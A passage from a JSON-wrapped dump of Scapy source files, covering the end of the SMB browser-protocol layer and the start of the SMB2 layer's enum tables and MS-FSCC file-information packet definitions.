ByteField(\"BrowserConfigVersionMinor\", 1),\n        XLEShortField(\"Signature\", 0xAA55),\n        StrNullField(\"Comment\", \"\"),\n    ]\n\n    def mysummary(self):\n        return self.sprintf(\"%OpCode% for %ServerName%\")\n\n\n# [MS-BRWS] sect 2.2.6\n\n\nclass BRWS_BecomeBackup(BRWS):\n    OpCode = 0x0B\n    fields_desc = [\n        BRWS,\n        StrNullField(\"BrowserToPromote\", b\"\"),\n    ]\n\n    def mysummary(self):\n        return self.sprintf(\"%OpCode% from %BrowserToPromote%\")\n\n\n# [MS-BRWS] sect 2.2.10\n\n\nclass BRWS_LocalMasterAnnouncement(BRWS_HostAnnouncement):\n    OpCode = 0x0F\n\n\n# SMB dispatcher\n\n\nclass _SMBGeneric(Packet):\n    name = \"SMB Generic dispatcher\"\n    fields_desc = [StrFixedLenField(\"Start\", b\"\\xffSMB\", 4)]\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        \"\"\"\n        Depending on the first 4 bytes of the packet,\n        dispatch to the correct version of Header\n        (either SMB or SMB2)\n        \"\"\"\n        if _pkt and len(_pkt) >= 4:\n            if _pkt[:4] == b\"\\xffSMB\":\n                return SMB_Header\n            if _pkt[:4] == b\"\\xfeSMB\":\n                return SMB2_Header\n            if _pkt[:4] == b\"\\xfdSMB\":\n                return SMB2_Transform_Header\n            if _pkt[:4] == b\"\\xfcSMB\":\n                return SMB2_Compression_Transform_Header\n        return cls\n\n\nbind_layers(NBTSession, _SMBGeneric)\nbind_layers(NBTDatagram, _SMBGeneric)\n"
  },
  {
    "path": "scapy/layers/smb2.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n\"\"\"\nSMB (Server Message Block), also known as CIFS - version 2\n\n.. note::\n    You will find more complete documentation for this layer over at\n    `SMB <https://scapy.readthedocs.io/en/latest/layers/smb.html>`_\n\"\"\"\n\nimport collections\nimport functools\nimport hashlib\nimport os\nimport struct\n\nfrom scapy.automaton import select_objects\nfrom scapy.config import conf, crypto_validator\nfrom scapy.error import log_runtime\nfrom scapy.packet import Packet, bind_layers, bind_top_down\nfrom scapy.fields import (\n    ByteEnumField,\n    ByteField,\n    ConditionalField,\n    FieldLenField,\n    FieldListField,\n    FlagsField,\n    IP6Field,\n    IPField,\n    IntField,\n    LEIntField,\n    LEIntEnumField,\n    LELongField,\n    LenField,\n    LEShortEnumField,\n    LEShortField,\n    MultipleTypeField,\n    PadField,\n    PacketField,\n    PacketLenField,\n    PacketListField,\n    ReversePadField,\n    ScalingField,\n    ShortEnumField,\n    ShortField,\n    StrFieldUtf16,\n    StrFixedLenField,\n    StrLenField,\n    StrLenFieldUtf16,\n    StrNullFieldUtf16,\n    ThreeBytesField,\n    UTCTimeField,\n    UUIDField,\n    XLEIntField,\n    XLELongField,\n    XLEShortField,\n    XStrLenField,\n    XStrFixedLenField,\n    YesNoByteField,\n)\nfrom scapy.sessions import DefaultSession\nfrom scapy.supersocket import StreamSocket\n\nif conf.crypto_valid:\n    from scapy.libs.rfc3961 import SP800108_KDFCTR\n\nfrom scapy.layers.gssapi import GSSAPI_BLOB\nfrom scapy.layers.netbios import NBTSession\nfrom scapy.layers.ntlm import (\n    _NTLMPayloadField,\n    _NTLMPayloadPacket,\n    _NTLM_ENUM,\n    _NTLM_post_build,\n)\nfrom scapy.layers.windows.erref import STATUS_ERREF\n\n\n# EnumField\nSMB_DIALECTS = {\n    0x0202: \"SMB 2.002\",\n    0x0210: \"SMB 2.1\",\n    0x02FF: \"SMB 2.???\",\n    0x0300: \"SMB 3.0\",\n    0x0302: \"SMB 3.0.2\",\n    0x0311: \"SMB 3.1.1\",\n}\n\n# SMB2 sect 2.1.2.1\nREPARSE_TAGS = {\n    0x00000000: \"IO_REPARSE_TAG_RESERVED_ZERO\",\n    0x00000001: \"IO_REPARSE_TAG_RESERVED_ONE\",\n    0x00000002: \"IO_REPARSE_TAG_RESERVED_TWO\",\n    0xA0000003: \"IO_REPARSE_TAG_MOUNT_POINT\",\n    0xC0000004: \"IO_REPARSE_TAG_HSM\",\n    0x80000005: \"IO_REPARSE_TAG_DRIVE_EXTENDER\",\n    0x80000006: \"IO_REPARSE_TAG_HSM2\",\n    0x80000007: \"IO_REPARSE_TAG_SIS\",\n    0x80000008: \"IO_REPARSE_TAG_WIM\",\n    0x80000009: \"IO_REPARSE_TAG_CSV\",\n    0x8000000A: \"IO_REPARSE_TAG_DFS\",\n    0x8000000B: \"IO_REPARSE_TAG_FILTER_MANAGER\",\n    0xA000000C: \"IO_REPARSE_TAG_SYMLINK\",\n    0xA0000010: \"IO_REPARSE_TAG_IIS_CACHE\",\n    0x80000012: \"IO_REPARSE_TAG_DFSR\",\n    0x80000013: \"IO_REPARSE_TAG_DEDUP\",\n    0xC0000014: \"IO_REPARSE_TAG_APPXSTRM\",\n    0x80000014: \"IO_REPARSE_TAG_NFS\",\n    0x80000015: \"IO_REPARSE_TAG_FILE_PLACEHOLDER\",\n    0x80000016: \"IO_REPARSE_TAG_DFM\",\n    0x80000017: \"IO_REPARSE_TAG_WOF\",\n    0x80000018: \"IO_REPARSE_TAG_WCI\",\n    0x90001018: \"IO_REPARSE_TAG_WCI_1\",\n    0xA0000019: \"IO_REPARSE_TAG_GLOBAL_REPARSE\",\n    0x9000001A: \"IO_REPARSE_TAG_CLOUD\",\n    0x9000101A: \"IO_REPARSE_TAG_CLOUD_1\",\n    0x9000201A: \"IO_REPARSE_TAG_CLOUD_2\",\n    0x9000301A: \"IO_REPARSE_TAG_CLOUD_3\",\n    0x9000401A: \"IO_REPARSE_TAG_CLOUD_4\",\n    0x9000501A: \"IO_REPARSE_TAG_CLOUD_5\",\n    0x9000601A: \"IO_REPARSE_TAG_CLOUD_6\",\n    0x9000701A: \"IO_REPARSE_TAG_CLOUD_7\",\n    0x9000801A: \"IO_REPARSE_TAG_CLOUD_8\",\n    0x9000901A: \"IO_REPARSE_TAG_CLOUD_9\",\n    0x9000A01A: \"IO_REPARSE_TAG_CLOUD_A\",\n    0x9000B01A: \"IO_REPARSE_TAG_CLOUD_B\",\n    0x9000C01A: \"IO_REPARSE_TAG_CLOUD_C\",\n    0x9000D01A: \"IO_REPARSE_TAG_CLOUD_D\",\n    0x9000E01A: \"IO_REPARSE_TAG_CLOUD_E\",\n    0x9000F01A: \"IO_REPARSE_TAG_CLOUD_F\",\n    0x8000001B: \"IO_REPARSE_TAG_APPEXECLINK\",\n    0x9000001C: \"IO_REPARSE_TAG_PROJFS\",\n    0xA000001D: \"IO_REPARSE_TAG_LX_SYMLINK\",\n    0x8000001E: \"IO_REPARSE_TAG_STORAGE_SYNC\",\n    0xA000001F: \"IO_REPARSE_TAG_WCI_TOMBSTONE\",\n    0x80000020: \"IO_REPARSE_TAG_UNHANDLED\",\n    0x80000021: \"IO_REPARSE_TAG_ONEDRIVE\",\n    0xA0000022: \"IO_REPARSE_TAG_PROJFS_TOMBSTONE\",\n    0x80000023: \"IO_REPARSE_TAG_AF_UNIX\",\n    0x80000024: \"IO_REPARSE_TAG_LX_FIFO\",\n    0x80000025: \"IO_REPARSE_TAG_LX_CHR\",\n    0x80000026: \"IO_REPARSE_TAG_LX_BLK\",\n    0xA0000027: \"IO_REPARSE_TAG_WCI_LINK\",\n    0xA0001027: \"IO_REPARSE_TAG_WCI_LINK_1\",\n}\n\n# SMB2 sect 2.2.1.1\nSMB2_COM = {\n    0x0000: \"SMB2_NEGOTIATE\",\n    0x0001: \"SMB2_SESSION_SETUP\",\n    0x0002: \"SMB2_LOGOFF\",\n    0x0003: \"SMB2_TREE_CONNECT\",\n    0x0004: \"SMB2_TREE_DISCONNECT\",\n    0x0005: \"SMB2_CREATE\",\n    0x0006: \"SMB2_CLOSE\",\n    0x0007: \"SMB2_FLUSH\",\n    0x0008: \"SMB2_READ\",\n    0x0009: \"SMB2_WRITE\",\n    0x000A: \"SMB2_LOCK\",\n    0x000B: \"SMB2_IOCTL\",\n    0x000C: \"SMB2_CANCEL\",\n    0x000D: \"SMB2_ECHO\",\n    0x000E: \"SMB2_QUERY_DIRECTORY\",\n    0x000F: \"SMB2_CHANGE_NOTIFY\",\n    0x0010: \"SMB2_QUERY_INFO\",\n    0x0011: \"SMB2_SET_INFO\",\n    0x0012: \"SMB2_OPLOCK_BREAK\",\n}\n\n# EnumField\nSMB2_NEGOTIATE_CONTEXT_TYPES = {\n    0x0001: \"SMB2_PREAUTH_INTEGRITY_CAPABILITIES\",\n    0x0002: \"SMB2_ENCRYPTION_CAPABILITIES\",\n    0x0003: \"SMB2_COMPRESSION_CAPABILITIES\",\n    0x0005: \"SMB2_NETNAME_NEGOTIATE_CONTEXT_ID\",\n    0x0006: \"SMB2_TRANSPORT_CAPABILITIES\",\n    0x0007: \"SMB2_RDMA_TRANSFORM_CAPABILITIES\",\n    0x0008: \"SMB2_SIGNING_CAPABILITIES\",\n}\n\n# FlagField\nSMB2_CAPABILITIES = {\n    0x00000001: \"DFS\",\n    0x00000002: \"LEASING\",\n    0x00000004: \"LARGE_MTU\",\n    0x00000008: \"MULTI_CHANNEL\",\n    0x00000010: \"PERSISTENT_HANDLES\",\n    0x00000020: \"DIRECTORY_LEASING\",\n    0x00000040: \"ENCRYPTION\",\n}\nSMB2_SECURITY_MODE = {\n    0x01: \"SIGNING_ENABLED\",\n    0x02: \"SIGNING_REQUIRED\",\n}\n\n# [MS-SMB2] 2.2.3.1.3\nSMB2_COMPRESSION_ALGORITHMS = {\n    0x0000: \"None\",\n    0x0001: \"LZNT1\",\n    0x0002: \"LZ77\",\n    0x0003: \"LZ77 + Huffman\",\n    0x0004: \"Pattern_V1\",\n}\n\n# [MS-SMB2] sect 2.2.3.1.2\nSMB2_ENCRYPTION_CIPHERS = {\n    0x0001: \"AES-128-CCM\",\n    0x0002: \"AES-128-GCM\",\n    0x0003: \"AES-256-CCM\",\n    0x0004: \"AES-256-GCM\",\n}\n\n# [MS-SMB2] sect 2.2.3.1.7\nSMB2_SIGNING_ALGORITHMS = {\n    0x0000: \"HMAC-SHA256\",\n    0x0001: \"AES-CMAC\",\n    0x0002: \"AES-GMAC\",\n}\n\n# [MS-SMB2] sect 2.2.3.1.1\nSMB2_HASH_ALGORITHMS = {\n    0x0001: \"SHA-512\",\n}\n\n# sect [MS-SMB2] 2.2.13.1.1\nSMB2_ACCESS_FLAGS_FILE = {\n    0x00000001: \"FILE_READ_DATA\",\n    0x00000002: \"FILE_WRITE_DATA\",\n    0x00000004: \"FILE_APPEND_DATA\",\n    0x00000008: \"FILE_READ_EA\",\n    0x00000010: \"FILE_WRITE_EA\",\n    0x00000040: \"FILE_DELETE_CHILD\",\n    0x00000020: \"FILE_EXECUTE\",\n    0x00000080: \"FILE_READ_ATTRIBUTES\",\n    0x00000100: \"FILE_WRITE_ATTRIBUTES\",\n    0x00010000: \"DELETE\",\n    0x00020000: \"READ_CONTROL\",\n    0x00040000: \"WRITE_DAC\",\n    0x00080000: \"WRITE_OWNER\",\n    0x00100000: \"SYNCHRONIZE\",\n    0x01000000: \"ACCESS_SYSTEM_SECURITY\",\n    0x02000000: \"MAXIMUM_ALLOWED\",\n    0x10000000: \"GENERIC_ALL\",\n    0x20000000: \"GENERIC_EXECUTE\",\n    0x40000000: \"GENERIC_WRITE\",\n    0x80000000: \"GENERIC_READ\",\n}\n\n# sect [MS-SMB2] 2.2.13.1.2\nSMB2_ACCESS_FLAGS_DIRECTORY = {\n    0x00000001: \"FILE_LIST_DIRECTORY\",\n    0x00000002: \"FILE_ADD_FILE\",\n    0x00000004: \"FILE_ADD_SUBDIRECTORY\",\n    0x00000008: \"FILE_READ_EA\",\n    0x00000010: \"FILE_WRITE_EA\",\n    0x00000020: \"FILE_TRAVERSE\",\n    0x00000040: \"FILE_DELETE_CHILD\",\n    0x00000080: \"FILE_READ_ATTRIBUTES\",\n    0x00000100: \"FILE_WRITE_ATTRIBUTES\",\n    0x00010000: \"DELETE\",\n    0x00020000: \"READ_CONTROL\",\n    0x00040000: \"WRITE_DAC\",\n    0x00080000: \"WRITE_OWNER\",\n    0x00100000: \"SYNCHRONIZE\",\n    0x01000000: \"ACCESS_SYSTEM_SECURITY\",\n    0x02000000: \"MAXIMUM_ALLOWED\",\n    0x10000000: \"GENERIC_ALL\",\n    0x20000000: \"GENERIC_EXECUTE\",\n    0x40000000: \"GENERIC_WRITE\",\n    0x80000000: \"GENERIC_READ\",\n}\n\n# [MS-SRVS] sec 2.2.2.4\nSRVSVC_SHARE_TYPES = {\n    0x00000000: \"DISKTREE\",\n    0x00000001: \"PRINTQ\",\n    0x00000002: \"DEVICE\",\n    0x00000003: \"IPC\",\n    0x02000000: \"CLUSTER_FS\",\n    0x04000000: \"CLUSTER_SOFS\",\n    0x08000000: \"CLUSTER_DFS\",\n}\n\n\n# [MS-FSCC] sec 2.6\nFileAttributes = {\n    0x00000001: \"FILE_ATTRIBUTE_READONLY\",\n    0x00000002: \"FILE_ATTRIBUTE_HIDDEN\",\n    0x00000004: \"FILE_ATTRIBUTE_SYSTEM\",\n    0x00000010: \"FILE_ATTRIBUTE_DIRECTORY\",\n    0x00000020: \"FILE_ATTRIBUTE_ARCHIVE\",\n    0x00000080: \"FILE_ATTRIBUTE_NORMAL\",\n    0x00000100: \"FILE_ATTRIBUTE_TEMPORARY\",\n    0x00000200: \"FILE_ATTRIBUTE_SPARSE_FILE\",\n    0x00000400: \"FILE_ATTRIBUTE_REPARSE_POINT\",\n    0x00000800: \"FILE_ATTRIBUTE_COMPRESSED\",\n    0x00001000: \"FILE_ATTRIBUTE_OFFLINE\",\n    0x00002000: \"FILE_ATTRIBUTE_NOT_CONTENT_INDEXED\",\n    0x00004000: \"FILE_ATTRIBUTE_ENCRYPTED\",\n    0x00008000: \"FILE_ATTRIBUTE_INTEGRITY_STREAM\",\n    0x00020000: \"FILE_ATTRIBUTE_NO_SCRUB_DATA\",\n    0x00040000: \"FILE_ATTRIBUTE_RECALL_ON_OPEN\",\n    0x00080000: \"FILE_ATTRIBUTE_PINNED\",\n    0x00100000: \"FILE_ATTRIBUTE_UNPINNED\",\n    0x00400000: \"FILE_ATTRIBUTE_RECALL_ON_DATA_ACCESS\",\n}\n\n\n# [MS-FSCC] sect 2.4\nFileInformationClasses = {\n    0x01: \"FileDirectoryInformation\",\n    0x02: \"FileFullDirectoryInformation\",\n    0x03: \"FileBothDirectoryInformation\",\n    0x04: \"FileBasicInformation\",\n    0x05: \"FileStandardInformation\",\n    0x06: \"FileInternalInformation\",\n    0x07: \"FileEaInformation\",\n    0x08: \"FileAccessInformation\",\n    0x0A: \"FileRenameInformation\",\n    0x0E: \"FilePositionInformation\",\n    0x10: \"FileModeInformation\",\n    0x11: \"FileAlignmentInformation\",\n    0x12: \"FileAllInformation\",\n    0x22: \"FileNetworkOpenInformation\",\n    0x25: \"FileIdBothDirectoryInformation\",\n    0x26: \"FileIdFullDirectoryInformation\",\n    0x0C: \"FileNamesInformation\",\n    0x30: \"FileNormalizedNameInformation\",\n    0x3C: \"FileIdExtdDirectoryInformation\",\n}\n_FileInformationClasses = {}\n\n\n# [MS-FSCC] 2.1.7 FILE_NAME_INFORMATION\n\n\nclass FILE_NAME_INFORMATION(Packet):\n    fields_desc = [\n        FieldLenField(\"FileNameLength\", None, length_of=\"FileName\", fmt=\"<I\"),\n        StrLenFieldUtf16(\"FileName\", \"\", length_from=lambda pkt: pkt.FileNameLength),\n    ]\n\n    def default_payload_class(self, s):\n        return conf.padding_layer\n\n\n# [MS-FSCC] 2.4.1 FileAccessInformation\n\n\nclass FileAccessInformation(Packet):\n    fields_desc = [\n        FlagsField(\"AccessFlags\", 0, -32, SMB2_ACCESS_FLAGS_FILE),\n    ]\n\n    def default_payload_class(self, s):\n        return conf.padding_layer\n\n\n# [MS-FSCC] 2.4.3 FileAlignmentInformation\n\n\nclass FileAlignmentInformation(Packet):\n    fields_desc = [\n        LEIntEnumField(\n            \"AccessFlags\",\n            0,\n            {\n                0x00000000: \"FILE_BYTE_ALIGNMENT\",\n                0x00000001: \"FILE_WORD_ALIGNMENT\",\n                0x00000003: \"FILE_LONG_ALIGNMENT\",\n                0x00000007: \"FILE_QUAD_ALIGNMENT\",\n                0x0000000F: \"FILE_OCTA_ALIGNMENT\",\n                0x0000001F: \"FILE_32_BYTE_ALIGNMENT\",\n                0x0000003F: \"FILE_64_BYTE_ALIGNMENT\",\n                0x0000007F: \"FILE_128_BYTE_ALIGNMENT\",\n                0x000000FF: \"FILE_256_BYTE_ALIGNMENT\",\n                0x000001FF: \"FILE_512_BYTE_ALIGNMENT\",\n            },\n        ),\n    ]\n\n    def default_payload_class(self, s):\n        return conf.padding_layer\n\n\n# [MS-FSCC] 2.4.5 FileAlternateNameInformation\n\n\nclass FileAlternateNameInformation(Packet):\n    fields_desc = [\n        FieldLenField(\"FileNameLength\", None, length_of=\"FileName\", fmt=\"<I\"),\n        StrLenFieldUtf16(\"FileName\", b\"\", length_from=lambda pkt: pkt.FileNameLength),\n    ]\n\n\n# [MS-FSCC] 2.4.7 FileBasicInformation\n\n\nclass FileBasicInformation(Packet):\n    fields_desc = [\n        UTCTimeField(\n            \"CreationTime\",\n            None,\n            fmt=\"<Q\",\n            epoch=[1601, 1, 1, 0, 0, 0],\n            custom_scaling=1e7,\n        ),\n        UTCTimeField(\n            \"LastAccessTime\",\n            None,\n            fmt=\"<Q\",\n            epoch=[1601, 1, 1, 0, 0, 0],\n            custom_scaling=1e7,\n        ),\n        UTCTimeField(\n            \"LastWriteTime\",\n            None,\n            fmt=\"<Q\",\n            epoch=[1601, 1, 1, 0, 0, 0],\n            custom_scaling=1e7,\n        ),\n        UTCTimeField(\n            \"ChangeTime\",\n            None,\n            fmt=\"<Q\",\n            epoch=[1601, 1, 1, 0, 0, 0],\n            custom_scaling=1e7,\n        ),\n        FlagsField(\"FileAttributes\", 0x00000080, -32, FileAttributes),\n        IntField(\"Reserved\", 0),\n    ]\n\n    def default_payload_class(self, s):\n        return conf.padding_layer\n\n\n# [MS-FSCC] 2.4.12 FileEaInformation\n\n\nclass FileEaInformation(Packet):\n    fields_desc = [\n        LEIntField(\"EaSize\", 0),\n    ]\n\n    def default_payload_class(self, s):\n        return conf.padding_layer\n\n\n# [MS-FSCC] 2.4.29 FileNetworkOpenInformation\n\n\nclass FileNetworkOpenInformation(Packet):\n    fields_desc = [\n        UTCTimeField(\n            \"CreationTime\",\n            None,\n            fmt=\"<Q\",\n            epoch=[1601, 1, 1, 0, 0, 0],\n            custom_scaling=1e7,\n        ),\n        UTCTimeField(\n            \"LastAccessTime\",\n            None,\n            fmt=\"<Q\",\n            epoch=[1601, 1, 1, 0, 0, 0],\n            custom_scaling=1e7,\n        ),\n        UTCTimeField(\n            \"LastWriteTime\",\n            None,\n            fmt=\"<Q\",\n            epoch=[1601, 1, 1, 0, 0, 0],\n            custom_scaling=1e7,\n        ),\n        UTCTimeField(\n            \"ChangeTime\",\n            None,\n            fmt=\"<Q\",\n            epoch=[1601, 1, 1, 0, 0, 0],\n            custom_scaling=1e7,\n        ),\n        LELongField(\"AllocationSize\", 4096),\n        LELongField(\"EndOfFile\", 0),\n        FlagsField(\"FileAttributes\", 0x00000080, -32, FileAttributes),\n        IntField(\"Reserved2\", 0),\n    ]\n\n    def default_payload_class(self, s):\n        return conf.padding_layer\n\n\n# [MS-FSCC] 2.4.8 FileBothDirectoryInformation\n\n\nclass FILE_BOTH_DIR_INFORMATION(Packet):\n    fields_desc = (\n        [\n            LEIntField(\"Next\", None),  # 0 = no next entry\n            LEIntField(\"FileIndex\", 0),\n        ]\n        + (\n            FileNetworkOpenInformation.fields_desc[:4]\n            + FileNetworkOpenInformation.fields_desc[4:6][::-1]\n            + [FileNetworkOpenInformation.fields_desc[6]]\n        )\n        + [\n            FieldLenField(\"FileNameLength\", None, fmt=\"<I\", length_of=\"FileName\"),\n            MultipleTypeField(\n                # \"If FILE_ATTRIBUTE_REPARSE_POINT is set in the FileAttributes field,\n                # this field MUST contain a reparse tag as specified in section\n                # 2.1.2.1.\"\n                [\n                    (\n                        LEIntEnumField(\"EaSize\", 0, REPARSE_TAGS),\n                        lambda pkt: pkt.FileAttributes.FILE_ATTRIBUTE_REPARSE_POINT,\n                    )\n                ],\n                LEIntField(\"EaSize\", 0),\n            ),\n            ByteField(\"ShortNameLength\", 0),\n            ByteField(\"Reserved1\", 0),\n            StrFixedLenField(\"ShortName\", b\"\", length=24),\n            PadField(\n                StrLenFieldUtf16(\n                    \"FileName\", b\".\", length_from=lambda pkt: pkt.FileNameLength\n                ),\n                align=8,\n            ),\n        ]\n    )\n\n    def default_payload_class(self, s):\n        return conf.padding_layer\n\n\nclass _NextPacketListField(PacketListField):\n    def addfield(self, pkt, s, val):\n        # we use this field to set NextEntryOffset\n        res = b\"\"\n        for i, v in enumerate(val):\n            x = self.i2m(pkt, v)\n            if v.Next is None and i != len(val) - 1:\n                x = struct.pack(\"<I\", len(x)) + x[4:]\n            res += x\n        return s + res\n\n\nclass FileBothDirectoryInformation(Packet):\n    fields_desc = [\n        _NextPacketListField(\n            \"files\",\n            [],\n            FILE_BOTH_DIR_INFORMATION,\n            max_count=1000,\n        ),\n    ]\n\n\n# [MS-FSCC] 2.4.14 FileFullDirectoryInformation\n\n\nclass FILE_FULL_DIR_INFORMATION(Packet):\n    fields_desc = FILE_BOTH_DIR_INFORMATION.fields_desc[:11] + [\n        FILE_BOTH_DIR_INFORMATION.fields_desc[-1]\n    ]\n\n\nclass FileFullDirectoryInformation(Packet):\n    fields_desc = [\n        _NextPacketListField(\n            \"files\",\n            [],\n            FILE_FULL_DIR_INFORMATION,\n            max_count=1000,\n        ),\n    ]\n\n\n# [MS-FSCC] 2.4.17 FileIdBothDirectoryInformation\n\n\nclass FILE_ID_BOTH_DIR_INFORMATION(Packet):\n    fields_desc = FILE_BOTH_DIR_INFORMATION.fields_desc[:14] + [\n        LEShortField(\"Reserved2\", 0),\n        LELongField(\"FileId\", 0),\n        FILE_BOTH_DIR_INFORMATION.fields_desc[-1],\n    ]\n\n    def default_payload_class(self, s):\n        return conf.padding_layer\n\n\nclass FileIdBothDirectoryInformation(Packet):\n    fields_desc = [\n        _NextPacketListField(\n            \"files\",\n            [],\n            FILE_ID_BOTH_DIR_INFORMATION,\n            max_count=1000,  # > 65535 / len(FILE_ID_BOTH_DIR_INFORMATION())\n        ),\n    ]\n\n\n# [MS-FSCC] 2.4.22 FileInternalInformation\n\n\nclass FileInternalInformation(Packet):\n    fields_desc = [\n        LELongField(\"IndexNumber\", 0),\n    ]\n\n    def default_payload_class(self, s):\n        return conf.padding_layer\n\n\n# [MS-FSCC] 2.4.26 FileModeInformation\n\n\nclass FileModeInformation(Packet):\n    fields_desc = [\n        FlagsField(\n            \"Mode\",\n            0,\n            -32,\n            {\n                0x00000002: \"FILE_WRITE_TROUGH\",\n                0x00000004: \"FILE_SEQUENTIAL_ONLY\",\n                0x00000008: \"FILE_NO_INTERMEDIATE_BUFFERING\",\n                0x00000010: \"FILE_SYNCHRONOUS_IO_ALERT\",\n                0x00000020: \"FILE_SYNCHRONOUS_IO_NONALERT\",\n                0x00001000: \"FILE_DELETE_ON_CLOSE\",\n            },\n        )\n    ]\n\n    def default_payload_class(self, s):\n        return conf.padding_layer\n\n\n# [MS-FSCC] 2.4.35 FilePositionInformation\n\n\nclass FilePositionInformation(Packet):\n    fields_desc = [\n        LELongField(\"CurrentByteOffset\", 0),\n    ]\n\n    def default_payload_class(self, s):\n        return conf.padding_layer\n\n\n# [MS-FSCC] 2.4.37 FileRenameInformation\n\n\nclass FileRenameInformation(Packet):\n    fields_desc = [\n        YesNoByteField(\"ReplaceIfExists\", False),\n        XStrFixedLenField(\"Reserved\", b\"\", length=7),\n        LELongField(\"RootDirectory\", 0),\n        FieldLenField(\"FileNameLength\", 0, length_of=\"FileName\", fmt=\"<I\"),\n        StrLenFieldUtf16(\"FileName\", b\"\", length_from=lambda pkt: pkt.FileNameLength),\n    ]\n\n    def post_build(self, pkt, pay):\n        # type: (bytes, bytes) -> bytes\n        if len(pkt) < 24:\n            # 'Length of this field MUST be the number of bytes required to make the\n            # size of this structure at least 24.'\n            pkt += (24 - len(pkt)) * b\"\\x00\"\n        return pkt + pay\n\n    def default_payload_class(self, s):\n        return conf.padding_layer\n\n\n_FileInformationClasses[0x0A] = FileRenameInformation\n\n\n# [MS-FSCC] 2.4.41 FileStandardInformation\n\n\nclass FileStandardInformation(Packet):\n    fields_desc = [\n        LELongField(\"AllocationSize\", 4096),\n        LELongField(\"EndOfFile\", 0),\n        LEIntField(\"NumberOfLinks\", 1),\n        ByteField(\"DeletePending\", 0),\n        ByteField(\"Directory\", 0),\n        ShortField(\"Reserved\", 0),\n    ]\n\n    def default_payload_class(self, s):\n        return conf.padding_layer\n\n\n# [MS-FSCC] 2.4.43 FileStreamInformation\n\n\nclass FileStreamInformation(Packet):\n    fields_desc = [\n        LEIntField(\"Next\", 0),\n        FieldLenField(\"StreamNameLength\", None, length_of=\"StreamName\", fmt=\"<I\"),\n        LELongField(\"StreamSize\", 0),\n        LELongField(\"StreamAllocationSize\", 4096),\n        StrLenFieldUtf16(\n            \"StreamName\", b\"::$DATA\", length_from=lambda pkt: pkt.StreamNameLength\n        ),\n    ]\n\n\n# [MS-FSCC] 2.4.2 FileAllInformation\n\n\nclass FileAllInformation(Packet):\n    fields_desc = [\n        PacketField(\"BasicInformation\", FileBasicInformation(), FileBasicInformation),\n        PacketField(\n            \"StandardInformation\", FileStandardInformation(), FileStandardInformation\n        ),\n        PacketField(\n            \"InternalInformation\", FileInternalInformation(), FileInternalInformation\n        ),\n        PacketField(\"EaInformation\", FileEaInformation(), FileEaInformation),\n        PacketField(\n            \"AccessInformation\", FileAccessInformation(), FileAccessInformation\n        ),\n        PacketField(\n            \"PositionInformation\", FilePositionInformation(), FilePositionInformation\n        ),\n        PacketField(\"ModeInformation\", FileModeInformation(), FileModeInformation),\n        PacketField(\n            \"AlignmentInformation\", FileAlignmentInformation(), FileAlignmentInformation\n        ),\n        PacketField(\"NameInformation\", FILE_NAME_INFORMATION(), FILE_NAME_INFORMATION),\n    ]\n\n\n# [MS-FSCC] 2.5.1 FileFsAttributeInformation\n\n\nclass FileFsAttributeInformation(Packet):\n    fields_desc = [\n        FlagsField(\n            \"FileSystemAttributes\",\n            0x00C706FF,\n            -32,\n            {\n                0x02000000: \"FILE_SUPPORTS_USN_JOURNAL\",\n                0x01000000: \"FILE_SUPPORTS_OPEN_BY_FILE_ID\",\n                0x00800000: \"FILE_SUPPORTS_EXTENDED_ATTRIBUTES\",\n                0x00400000: \"FILE_SUPPORTS_HARD_LINKS\",\n                0x00200000: \"FILE_SUPPORTS_TRANSACTIONS\",\n                0x00100000: \"FILE_SEQUENTIAL_WRITE_ONCE\",\n                0x00080000: \"FILE_READ_ONLY_VOLUME\",\n                0x00040000: \"FILE_NAMED_STREAMS\",\n                0x00020000: \"FILE_SUPPORTS_ENCRYPTION\",\n                0x00010000: \"FILE_SUPPORTS_OBJECT_IDS\",\n                0x00008000: \"FILE_VOLUME_IS_COMPRESSED\",\n                0x00000100: \"FILE_SUPPORTS_REMOTE_STORAGE\",\n                0x00000080: \"FILE_SUPPORTS_REPARSE_POINTS\",\n                0x00000040: \"FILE_SUPPORTS_SPARSE_FILES\",\n                0x00000020: \"FILE_VOLUME_QUOTAS\",\n                0x00000010: \"FILE_FILE_COMPRESSION\",\n                0x00000008: \"FILE_PERSISTENT_ACLS\",\n                0x00000004: \"FILE_UNICODE_ON_DISK\",\n                0x00000002: \"FILE_CASE_PRESERVED_NAMES\",\n                0x00000001: \"FILE_CASE_SENSITIVE_SEARCH\",\n                0x04000000: \"FILE_SUPPORT_INTEGRITY_STREAMS\",\n                0x08000000: \"FILE_SUPPORTS_BLOCK_REFCOUNTING\",\n                0x10000000: \"FILE_SUPPORTS_SPARSE_VDL\",\n            },\n        ),\n        LEIntField(\"MaximumComponentNameLength\", 255),\n        FieldLenField(\n            \"FileSystemNameLength\", None, length_of=\"FileSystemName\", fmt=\"<I\"\n        ),\n        StrLenFieldUtf16(\n            \"FileSystemName\", b\"NTFS\", length_from=lambda pkt: pkt.FileSystemNameLength\n        ),\n    ]\n\n\n# [MS-FSCC] 2.5.8 FileFsSizeInformation\n\n\nclass FileFsSizeInformation(Packet):\n    fields_desc = [\n        LELongField(\"TotalAllocationUnits\", 10485760),\n        LELongField(\"AvailableAllocationUnits\", 1048576),\n        LEIntField(\"SectorsPerAllocationUnit\", 8),\n        LEIntField(\"BytesPerSector\", 512),\n    ]\n\n\n# [MS-FSCC] 2.5.9 FileFsVolumeInformation\n\n\nclass FileFsVolumeInformation(Packet):\n    fields_desc = [\n        UTCTimeField(\n            \"VolumeCreationTime\",\n            None,\n            fmt=\"<Q\",\n            epoch=[1601, 1, 1, 0, 0, 0],\n            custom_scaling=1e7,\n        ),\n        LEIntField(\"VolumeSerialNumber\", 0),\n        LEIntField(\"VolumeLabelLength\", 0),\n        ByteField(\"SupportsObjects\", 1),\n        ByteField(\"Reserved\", 0),\n        StrNullFieldUtf16(\"VolumeLabel\", b\"C\"),\n    ]\n\n\n# [MS-FSCC] 2.7.1 FILE_NOTIFY_INFORMATION\n\n\nclass FILE_NOTIFY_INFORMATION(Packet):\n    fields_desc = [\n        IntField(\"NextEntryOffset\", 0),\n        LEIntEnumField(\n            \"Action\",\n            0,\n            {\n                0x00000001: \"FILE_ACTION_ADDED\",\n                0x00000002: \"FILE_ACTION_REMOVED\",\n                0x00000003: \"FILE_ACTION_MODIFIED\",\n                0x00000004: 